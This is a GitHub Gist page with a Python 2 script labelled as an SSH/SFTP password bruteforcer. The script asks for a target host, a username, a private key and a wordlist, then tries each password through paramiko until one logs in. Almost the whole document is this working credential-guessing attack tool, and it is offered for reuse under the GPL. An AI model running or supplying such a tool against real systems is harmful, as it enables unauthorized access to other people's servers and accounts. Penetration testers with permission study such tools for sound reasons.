Last active
January 7, 2021 09:07
-
-
Save RPHAELLA/72f1b1de43f913e8628d5c90eaac264e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# Password Bruteforcer for SSH File Transfer Protocol | |
# Copyright (C) 2017 | |
# | |
# This program can be redistributed and/or modified under the terms of the | |
# GNU General Public License, either version 3 of the License, or (at your | |
# option) any later version. | |
# | |
from tqdm import tqdm | |
import paramiko, sys, os, socket | |
global line, host, port, username, key, input_file | |
line = "\n-------------------------------------------------------------------------------\n" | |
def get_total_lines(file): | |
with open(file) as f: | |
return sum(1 for _ in f) | |
def sftp_connect(password, code=0): | |
sftp_key = paramiko.RSAKey.from_private_key_file(key, password='P@ssw0rd') | |
ssh = paramiko.SSHClient() | |
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
try: | |
ssh.connect(host, username=username, password=password, pkey=sftp_key) | |
except paramiko.AuthenticationException: | |
code = 1 | |
except socket.error, e: | |
code = 2 | |
ssh.close() | |
return code | |
try: | |
host = raw_input("[*] Enter Target Host Address: ") | |
port = raw_input("[*] Enter Target Port Address: ") | |
username = raw_input("[*] Enter SFTP Username: ") | |
key = raw_input("[*] Enter Private Key: ") | |
if os.path.exists(key) == False: | |
print "\n[*] File Path Does Not Exist" | |
sys.exit(4) | |
input_file = raw_input("[*] Enter Wordlist File: ") | |
if os.path.exists(input_file) == False: | |
print "\n[*] File Path Does Not Exist" | |
sys.exit(4) | |
with open(input_file) as f: | |
for i in tqdm(f, total=get_total_lines(input_file)): | |
password = i.strip("\n") | |
try: | |
response = sftp_connect(password) | |
if response == 0: | |
print("%s[*] User: %s [*] Pass Found %s%s" % (line, username, password, line)) | |
sys.exit(0) | |
# elif response == 1: | |
# print("[!] User: %s [*] Pass %s - Incorrect Login" % (username, password)) | |
elif response == 2: | |
print("[*] Connection Could Not Be Established To Address: %s " % (host)) | |
except Exception, e: | |
print e | |
pass | |
except KeyboardInterrupt: | |
print "\n\n[*] User Requested An Interrupt" | |
sys.exit(3) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment